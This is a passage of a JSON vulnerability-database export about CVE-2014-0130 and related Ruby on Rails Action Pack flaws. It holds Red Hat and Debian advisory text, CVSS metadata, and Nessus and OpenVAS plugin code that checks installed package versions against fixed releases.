report;\n}\n\nport = get_kb_item_or_exit('puppet/rest_port');\nver = get_kb_item_or_exit('puppet/' + port + '/version');\nreport = NULL;\nvuln = FALSE;\n\nif ('Enterprise' >< ver)\n{\n # convert something like\n # 2.7.19 (Puppet Enterprise 2.7.0)\n # to\n # 2.7.0\n match = eregmatch(string:ver, pattern:\"Enterprise ([0-9.]+)\\)\");\n if (isnull(match)) audit(AUDIT_UNKNOWN_WEB_APP_VER, 'Puppet Enterprise', build_url(port:port));\n ver = match[1];\n\n # Resolved in Puppet Enterprise 3.2.0 (but this version was pulled)\n if (report = _check_version(ver, '3.2.0', '3.0.0', enterprise:TRUE))\n {\n vuln = TRUE;\n }\n}\n\nif (!vuln) audit(AUDIT_LISTEN_NOT_VULN, 'Puppet', port, ver);\n\nif (report_verbosity > 0) security_warning(port:port, extra:report);\nelse security_warning(port);\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2022-04-16T14:12:23", "description": "Updated Subscription Asset Manager 1.4 packages that fix multiple security issues are now available.\n\nRed Hat Product Security has rated this update as having Important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.\n\nRed Hat Subscription Asset Manager acts as a proxy for handling subscription information and software updates on client machines. Red Hat Subscription Asset Manager is built on Ruby on Rails, a model-view-controller (MVC) framework for web application development.\nAction Pack implements the controller and the view components.\n\nA directory traversal flaw was found in the way Ruby on Rails handled wildcard segments in routes with implicit rendering. A remote attacker could use this flaw to retrieve arbitrary local files accessible to a Ruby on Rails application using the aforementioned routes via a specially crafted request. (CVE-2014-0130)\n\nA flaw was found in the way Ruby on Rails handled hashes in certain queries. A remote attacker could use this flaw to perform a denial of service (resource consumption) attack by sending specially crafted queries that would result in the creation of Ruby symbols, which were never garbage collected. (CVE-2013-1854)\n\nTwo cross-site scripting (XSS) flaws were found in Action Pack. A remote attacker could use these flaws to conduct XSS attacks against users of an application using Action Pack. (CVE-2013-1855, CVE-2013-1857)\n\nIt was discovered that the internationalization component of Ruby on Rails could, under certain circumstances, return a fallback HTML string that contained user input. A remote attacker could possibly use this flaw to perform a reflective cross-site scripting (XSS) attack by providing a specially crafted input to an application using the aforementioned component. (CVE-2013-4491)\n\nA denial of service flaw was found in the header handling component of Action View. A remote attacker could send strings in specially crafted headers that would be cached indefinitely, which would result in all available system memory eventually being consumed. (CVE-2013-6414)\n\nIt was found that the number_to_currency Action View helper did not properly escape the unit parameter. An attacker could use this flaw to perform a cross-site scripting (XSS) attack on an application that uses data submitted by a user in the unit parameter. (CVE-2013-6415)\n\nRed Hat would like to thank Ruby on Rails upstream for reporting these issues. Upstream acknowledges Ben Murphy as the original reporter of CVE-2013-1854, Charlie Somerville as the original reporter of CVE-2013-1855, Alan Jenkins as the original reporter of CVE-2013-1857, Peter McLarnan as the original reporter of CVE-2013-4491, Toby Hsieh as the original reporter of CVE-2013-6414, and Ankit Gupta as the original reporter of CVE-2013-6415.\n\nAll Subscription Asset Manager users are advised to upgrade to these updated packages, which contain backported patches to correct these issues.", "cvss3": {"score": null, "vector": null}, "published": "2014-11-19T00:00:00", "type": "nessus", "title": "RHEL 6 : Subscription Asset Manager (RHSA-2014:1863)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-1854", "CVE-2013-1855", "CVE-2013-1857", "CVE-2013-4491", "CVE-2013-6414", "CVE-2013-6415", "CVE-2014-0130"], "modified": "2022-03-28T00:00:00", "cpe": ["p-cpe:/a:redhat:enterprise_linux:katello-common", "p-cpe:/a:redhat:enterprise_linux:katello-glue-candlepin", "p-cpe:/a:redhat:enterprise_linux:katello-glue-elasticsearch", "p-cpe:/a:redhat:enterprise_linux:katello-headpin", "p-cpe:/a:redhat:enterprise_linux:katello-headpin-all", "p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-actionmailer", "p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-actionpack", "p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-activemodel", "p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-activerecord", "p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-activeresource", "p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-activesupport", "p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-i18n", "p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-mail", "p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-rack", "p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-rails", "p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-railties", "cpe:/o:redhat:enterprise_linux:6"], "id": "REDHAT-RHSA-2014-1863.NASL", "href": "https://www.tenable.com/plugins/nessus/79326", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2014:1863. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(79326);\n script_version(\"1.14\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/03/28\");\n\n script_cve_id(\n \"CVE-2013-1854\",\n \"CVE-2013-1855\",\n \"CVE-2013-1857\",\n \"CVE-2013-4491\",\n \"CVE-2013-6414\",\n \"CVE-2013-6415\",\n \"CVE-2014-0130\"\n );\n script_xref(name:\"RHSA\", value:\"2014:1863\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/04/15\");\n\n script_name(english:\"RHEL 6 : Subscription Asset Manager (RHSA-2014:1863)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Red Hat host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"Updated Subscription Asset Manager 1.4 packages that fix multiple\nsecurity issues are now available.\n\nRed Hat Product Security has rated this update as having Important\nsecurity impact. Common Vulnerability Scoring System (CVSS) base\nscores, which give detailed severity ratings, are available for each\nvulnerability from the CVE links in the References section.\n\nRed Hat Subscription Asset Manager acts as a proxy for handling\nsubscription information and software updates on client machines. Red\nHat Subscription Asset Manager is built on Ruby on Rails, a\nmodel-view-controller (MVC) framework for web application development.\nAction Pack implements the controller and the view components.\n\nA directory traversal flaw was found in the way Ruby on Rails handled\nwildcard segments in routes with implicit rendering. A remote attacker\ncould use this flaw to retrieve arbitrary local files accessible to a\nRuby on Rails application using the aforementioned routes via a\nspecially crafted request. (CVE-2014-0130)\n\nA flaw was found in the way Ruby on Rails handled hashes in certain\nqueries. A remote attacker could use this flaw to perform a denial of\nservice (resource consumption) attack by sending specially crafted\nqueries that would result in the creation of Ruby symbols, which were\nnever garbage collected. (CVE-2013-1854)\n\nTwo cross-site scripting (XSS) flaws were found in Action Pack. A\nremote attacker could use these flaws to conduct XSS attacks against\nusers of an application using Action Pack. (CVE-2013-1855,\nCVE-2013-1857)\n\nIt was discovered that the internationalization component of Ruby on\nRails could, under certain circumstances, return a fallback HTML\nstring that contained user input. A remote attacker could possibly use\nthis flaw to perform a reflective cross-site scripting (XSS) attack by\nproviding a specially crafted input to an application using the\naforementioned component. (CVE-2013-4491)\n\nA denial of service flaw was found in the header handling component of\nAction View. A remote attacker could send strings in specially crafted\nheaders that would be cached indefinitely, which would result in all\navailable system memory eventually being consumed. (CVE-2013-6414)\n\nIt was found that the number_to_currency Action View helper did not\nproperly escape the unit parameter. An attacker could use this flaw to\nperform a cross-site scripting (XSS) attack on an application that\nuses data submitted by a user in the unit parameter. (CVE-2013-6415)\n\nRed Hat would like to thank Ruby on Rails upstream for reporting these\nissues. Upstream acknowledges Ben Murphy as the original reporter of\nCVE-2013-1854, Charlie Somerville as the original reporter of\nCVE-2013-1855, Alan Jenkins as the original reporter of CVE-2013-1857,\nPeter McLarnan as the original reporter of CVE-2013-4491, Toby Hsieh\nas the original reporter of CVE-2013-6414, and Ankit Gupta as the\noriginal reporter of CVE-2013-6415.\n\nAll Subscription Asset Manager users are advised to upgrade to these\nupdated packages, which contain backported patches to correct these\nissues.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2014:1863\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/cve-2013-1854\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/cve-2013-1855\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/cve-2013-1857\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/cve-2013-6414\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/cve-2013-6415\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/cve-2013-4491\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/cve-2014-0130\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2014-0130\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2013/03/19\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/11/17\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/11/19\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:katello-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:katello-glue-candlepin\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:katello-glue-elasticsearch\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:katello-headpin\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:katello-headpin-all\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-actionmailer\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-actionpack\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-activemodel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-activerecord\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-activeresource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-activesupport\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-i18n\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-mail\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-rack\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-rails\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby193-rubygem-railties\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 6.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2014:1863\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n\n if (! (rpm_exists(release:\"RHEL6\", rpm:\"candlepin-\"))) audit(AUDIT_PACKAGE_NOT_INSTALLED, \"Subscription Asset Manager\");\n\n if (rpm_check(release:\"RHEL6\", reference:\"katello-common-1.4.3.28-1.el6sam_splice\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"katello-glue-candlepin-1.4.3.28-1.el6sam_splice\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"katello-glue-elasticsearch-1.4.3.28-1.el6sam_splice\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"katello-headpin-1.4.3.28-1.el6sam_splice\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"katello-headpin-all-1.4.3.28-1.el6sam_splice\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"ruby193-rubygem-actionmailer-3.2.17-1.el6sam\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"ruby193-rubygem-actionpack-3.2.17-6.el6sam\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"ruby193-rubygem-activemodel-3.2.17-1.el6sam\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"ruby193-rubygem-activerecord-3.2.17-5.el6sam\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"ruby193-rubygem-activeresource-3.2.17-1.el6sam\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"ruby193-rubygem-activesupport-3.2.17-2.el6sam\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"ruby193-rubygem-i18n-0.6.9-1.el6sam\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"ruby193-rubygem-mail-2.5.4-1.el6sam\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"ruby193-rubygem-rack-1.4.5-3.el6sam\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"ruby193-rubygem-rails-3.2.17-1.el6sam\")) flag++;\n if (rpm_check(release:\"RHEL6\", reference:\"ruby193-rubygem-railties-3.2.17-1.el6sam\")) flag++;\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"katello-common / katello-glue-candlepin / etc\");\n }\n}\n", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}], "debian": [{"lastseen": "2021-10-21T23:09:13", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-2929-1 security@debian.org\nhttp://www.debian.org/security/ Florian Weimer\nMay 16, 2014 http://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : ruby-actionpack-3.2\nCVE ID : CVE-2014-0081 CVE-2014-0082 CVE-2014-0130\nDebian Bug : 747382\n\nSeveral vulnerabilities were discovered in Action Pack, a compononent\nof Ruby o Rails.\n\nCVE-2014-0081\n\n actionview/lib/action_view/helpers/number_helper.rb contains\n multiple cross-site scripting vulnerabilities\n\nCVE-2014-0082\n\n actionpack/lib/action_view/template/text.rb performs symbol\n interning on MIME type strings, allowing remote denial-of-service\n attacks via increased memory consumption.\n\nCVE-2014-0130\n\n A directory traversal vulnerability in\n actionpack/lib/abstract_controller/base.rb allows remote attackers\n to read arbitrary files.\n\nFor the stable distribution (wheezy), these problems have been fixed in\nversion 3.2.6-6+deb7u2.\n\nWe recommend that you upgrade your ruby-actionpack-3.2 packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: http://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {}, "published": "2014-05-16T08:15:07", "type": "debian", "title": "[SECURITY] [DSA 2929-1] ruby-actionpack-3.2 security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0081", "CVE-2014-0082", "CVE-2014-0130"], "modified": "2014-05-16T08:15:07", "id": "DEBIAN:DSA-2929-1:88D5D", "href": "https://lists.debian.org/debian-security-announce/2014/msg00110.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "openvas": [{"lastseen": "2019-05-29T18:37:12", "description": "Several vulnerabilities were discovered in Action Pack, a component\nof Ruby on Rails.\n\nCVE-2014-0081\nactionview/lib/action_view/helpers/number_helper.rb contains\nmultiple cross-site scripting vulnerabilities\n\nCVE-2014-0082\nactionpack/lib/action_view/template/text.rb performs symbol\ninterning on MIME type strings, allowing remote denial-of-service\nattacks via increased memory consumption.\n\nCVE-2014-0130\nA directory traversal vulnerability in\nactionpack/lib/abstract_controller/base.rb allows remote attackers\nto read arbitrary files.", "cvss3": {}, "published": "2014-05-16T00:00:00", "type": "openvas", "title": "Debian Security Advisory DSA 2929-1 (ruby-actionpack-3.2 - security update)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0130", "CVE-2014-0081", "CVE-2014-0082"], "modified": "2019-03-19T00:00:00", "id": "OPENVAS:1361412562310702929", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310702929", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_2929.nasl 14302 2019-03-19 08:28:48Z cfischer $\n# Auto-generated from advisory DSA 2929-1 using nvtgen 1.0\n# Script version: 1.1\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2014 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.702929\");\n script_version(\"$Revision: 14302 $\");\n script_cve_id(\"CVE-2014-0081\", \"CVE-2014-0082\", \"CVE-2014-0130\");\n script_name(\"Debian Security Advisory DSA 2929-1 (ruby-actionpack-3.2 - security update)\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-19 09:28:48 +0100 (Tue, 19 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2014-05-16 00:00:00 +0200 (Fri, 16 May 2014)\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n\n script_xref(name:\"URL\", value:\"http://www.debian.org/security/2014/dsa-2929.html\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2014 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB7\");\n script_tag(name:\"affected\", value:\"ruby-actionpack-3.2 on Debian Linux\");\n script_tag(name:\"solution\", value:\"For the stable distribution (wheezy), these problems have been fixed in\nversion 3.2.6-6+deb7u2.\n\nWe recommend that you upgrade your ruby-actionpack-3.2 packages.\");\n script_tag(name:\"summary\", value:\"Several vulnerabilities were discovered in Action Pack, a component\nof Ruby on Rails.\n\nCVE-2014-0081\nactionview/lib/action_view/helpers/number_helper.rb contains\nmultiple cross-site scripting vulnerabilities\n\nCVE-2014-0082\nactionpack/lib/action_view/template/text.rb performs symbol\ninterning on MIME type strings, allowing remote denial-of-service\nattacks via increased memory consumption.\n\nCVE-2014-0130\nA directory traversal vulnerability in\nactionpack/lib/abstract_controller/base.rb allows remote attackers\nto read arbitrary files.\");\n script_tag(name:\"vuldetect\", value:\"This check tests the installed software version using the apt package manager.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif((res = isdpkgvuln(pkg:\"ruby-actionpack-3.2\", ver:\"3.2.6-6+deb7u2\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2017-08-04T10:49:14", "description": "Several vulnerabilities were discovered in Action Pack, a component\nof Ruby on Rails.\n\nCVE-2014-0081 \nactionview/lib/action_view/helpers/number_helper.rb contains\nmultiple cross-site scripting vulnerabilities\n\nCVE-2014-0082 \nactionpack/lib/action_view/template/text.rb performs symbol\ninterning on MIME type strings, allowing remote denial-of-service\nattacks via increased memory consumption.\n\nCVE-2014-0130 \nA directory traversal vulnerability in\nactionpack/lib/abstract_controller/base.rb allows remote attackers\nto read arbitrary files.", "cvss3": {}, "published": "2014-05-16T00:00:00", "type": "openvas", "title": "Debian Security Advisory DSA 2929-1 (ruby-actionpack-3.2 - security update)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0130", "CVE-2014-0081", "CVE-2014-0082"], "modified": "2017-07-20T00:00:00", "id": "OPENVAS:702929", "href": "http://plugins.openvas.org/nasl.php?oid=702929", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_2929.nasl 6769 2017-07-20 09:56:33Z teissa $\n# Auto-generated from advisory DSA 2929-1 using nvtgen 1.0\n# Script version: 1.1\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2014 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ntag_affected = \"ruby-actionpack-3.2 on Debian Linux\";\ntag_insight = \"Action Pack is a framework for web apps on Rails. Simple,\nbattle-tested conventions for building and testing MVC web\napplications. Works with any Rack-compatible server.\";\ntag_solution = \"For the stable distribution (wheezy), these problems have been fixed in\nversion 3.2.6-6+deb7u2.\n\nWe recommend that you upgrade your ruby-actionpack-3.2 packages.\";\ntag_summary = \"Several vulnerabilities were discovered in Action Pack, a component\nof Ruby on Rails.\n\nCVE-2014-0081 \nactionview/lib/action_view/helpers/number_helper.rb contains\nmultiple cross-site scripting vulnerabilities\n\nCVE-2014-0082 \nactionpack/lib/action_view/template/text.rb performs symbol\ninterning on MIME type strings, allowing remote denial-of-service\nattacks via increased memory consumption.\n\nCVE-2014-0130 \nA directory traversal vulnerability in\nactionpack/lib/abstract_controller/base.rb allows remote attackers\nto read arbitrary files.\";\ntag_vuldetect = \"This check tests the installed software version using the apt package manager.\";\n\nif(description)\n{\n script_id(702929);\n script_version(\"$Revision: 6769 $\");\n script_cve_id(\"CVE-2014-0081\", \"CVE-2014-0082\", \"CVE-2014-0130\");\n script_name(\"Debian Security Advisory DSA 2929-1 (ruby-actionpack-3.2 - security update)\");\n script_tag(name: \"last_modification\", value:\"$Date: 2017-07-20 11:56:33 +0200 (Thu, 20 Jul 2017) $\");\n script_tag(name: \"creation_date\", value:\"2014-05-16 00:00:00 +0200 (Fri, 16 May 2014)\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n\n script_xref(name: \"URL\", value: \"http://www.debian.org/security/2014/dsa-2929.html\");\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2014 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\");\n script_tag(name: \"affected\", value: tag_affected);\n script_tag(name: \"insight\", value: tag_insight);\n# script_tag(name: \"impact\", value: tag_impact);\n script_tag(name: \"solution\", value: tag_solution);\n script_tag(name: \"summary\", value: tag_summary);\n script_tag(name: \"vuldetect\", value: tag_vuldetect);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isdpkgvuln(pkg:\"ruby-actionpack-3.2\", ver:\"3.2.6-6+deb7u2\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"ruby-actionpack-3.2\", ver:\"3.2.6-6+deb7u2\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"ruby-actionpack-3.2\", ver:\"3.2.6-6+deb7u2\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"ruby-actionpack-3.2\", ver:\"3.2.6-6+deb7u2\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2019-05-29T18:37:13", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2014-05-26T00:00:00", "type": "openvas", "title": "Fedora Update for rubygem-actionpack FEDORA-2014-6127", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4491", "CVE-2013-6417", "CVE-2013-4389", "CVE-2014-0130", "CVE-2013-6415", "CVE-2014-0081", "CVE-2014-0082", "CVE-2013-6414"], "modified": "2019-03-15T00:00:00", "id": "OPENVAS:1361412562310867824", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310867824", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for rubygem-actionpack FEDORA-2014-6127\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 